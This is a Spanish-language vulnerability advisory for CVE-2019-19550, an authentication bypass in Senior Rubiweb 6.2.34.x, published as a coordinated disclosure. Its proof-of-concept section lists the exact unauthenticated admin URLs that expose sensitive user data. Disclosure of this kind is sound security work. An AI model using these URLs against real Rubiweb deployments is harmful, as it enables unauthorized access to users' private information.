CVE-2019-19550

---

[Descripción]

Omisión remota de autenticación en Senior Rubiweb 6.2.34.28 y 6.2.34.37 permite el acceso de administrador a información sensible de los usuarios afectados que utilizan versiones vulnerables. El atacante solo necesita proporcionar la URL correcta.

---

[Fechas Importantes]

• Anuncio (al proveedor): 2019-12-02
• Fecha de divulgación pública: 2020-01-30

---

[Tipo de Vulnerabilidad]

Control de Acceso Incorrecto

---

[Proveedor del Producto]

Senior

---

[Código Base del Producto Afectado]

• Rubiweb - 6.2.34.37
• Rubiweb - 6.2.34.28
• Otras versiones pueden verse afectadas, especialmente de la misma familia (aún no probadas)

---

[Componente Afectado]

Rubiweb

---

[Tipo de Ataque]

Remoto

---

[Impacto: Divulgación de Información]

Verdadero

---

[Vectores de Ataque]

El acceso a información sensible está disponible públicamente sin requisitos especiales (solo la URI correcta)

---

[¿Ha confirmado o reconocido el proveedor la vulnerabilidad?]

Verdadero

---

[PoC - Prueba de Concepto]

1. Simplemente intente conectarse al portal con autenticación para confirmar la existencia y la versión del producto afectado:
   • hXXp://subdomain.customer.tld:8080/rubiweb/
2. Acceda a la página vulnerable (admin sin autenticación):
   • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=EXESENHA&SIS=FP&LOGINKIND=1
   • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=ENTRANCEREL&SIS=FP&NOME=FPIN103.ANU

---

[Descubridor]

Mauricio Santos (I+D UnderProtection), Hesron Hori (I+D UnderProtection) y @redteambrasil

---

[Agradecimientos]

Senior - Equipo de Seguridad de la Información del proveedor, que colaboró en una divulgación coordinada

---

[Referencia]

• https://www.underprotection.com.br
• https://documentacao.senior.com.br/tecnologia/6.2.34/index.htm
• https://documentacao.senior.com.br/tecnologia/6.2.34/index.htm#central-de-configuracao/CfgWebApplicationsForm.htm%23CfgWebApplicationsForm_edtUserName